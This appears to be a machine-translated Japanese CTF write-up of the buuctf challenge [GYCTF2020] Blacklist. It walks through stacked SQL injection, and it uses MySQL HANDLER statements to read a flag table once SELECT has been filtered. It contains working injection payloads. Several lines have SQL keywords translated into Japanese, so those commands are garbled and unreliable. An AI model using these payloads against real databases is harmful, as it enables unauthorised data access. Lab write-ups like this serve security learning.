buuctf-[GYCTF2020]ブラックリスト

この質問は最初 rce かと思いましたが、注入ボックスに 1 と書かれているのを見ると、sql です。

1 を送信

1' エラーが報告されますが、SQL であることがより確実です

 1' 2 単位で注文 -- +

説明は 2 列です

1' ユニオン選択 1,#

選択がフィルタリングされたことが判明しました

ここで、私が以前に作成した強力なネット カップのことを思い出します。これも濾過してスタック インジェクションに使用しました。

1';テーブルを表示 -- +

 1'; FlagHere の列を表示します。-- +

列名を取得する

私はそれについては知りませんでしたが、後でハンドラーステートメントがあることを知りました

[MySQL] MySQL handlerの詳しい使い方と手順_mysql handler-CSDNブログを参照してください。

HANDLER指定したインデックスを介してデータにアクセスできます。ただし、この構文はDML操作をサポートしません。

1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

HANDLER ... OPENステートメントは、後続のステートメントを使用してアクセスできるようにテーブルを開きますHANDLER ... READ。テーブル オブジェクトは他のセッションによって共有されず、HANDLER ... CLOSEセッションが呼び出されるかセッションが終了するまで閉じられません。

つまり、HANDLERを通じてテーブルからFlagHere最初のインデックス レコードを読み取り、閉じます。

 

おすすめ

転載: blog.csdn.net/2202_75317918/article/details/133495719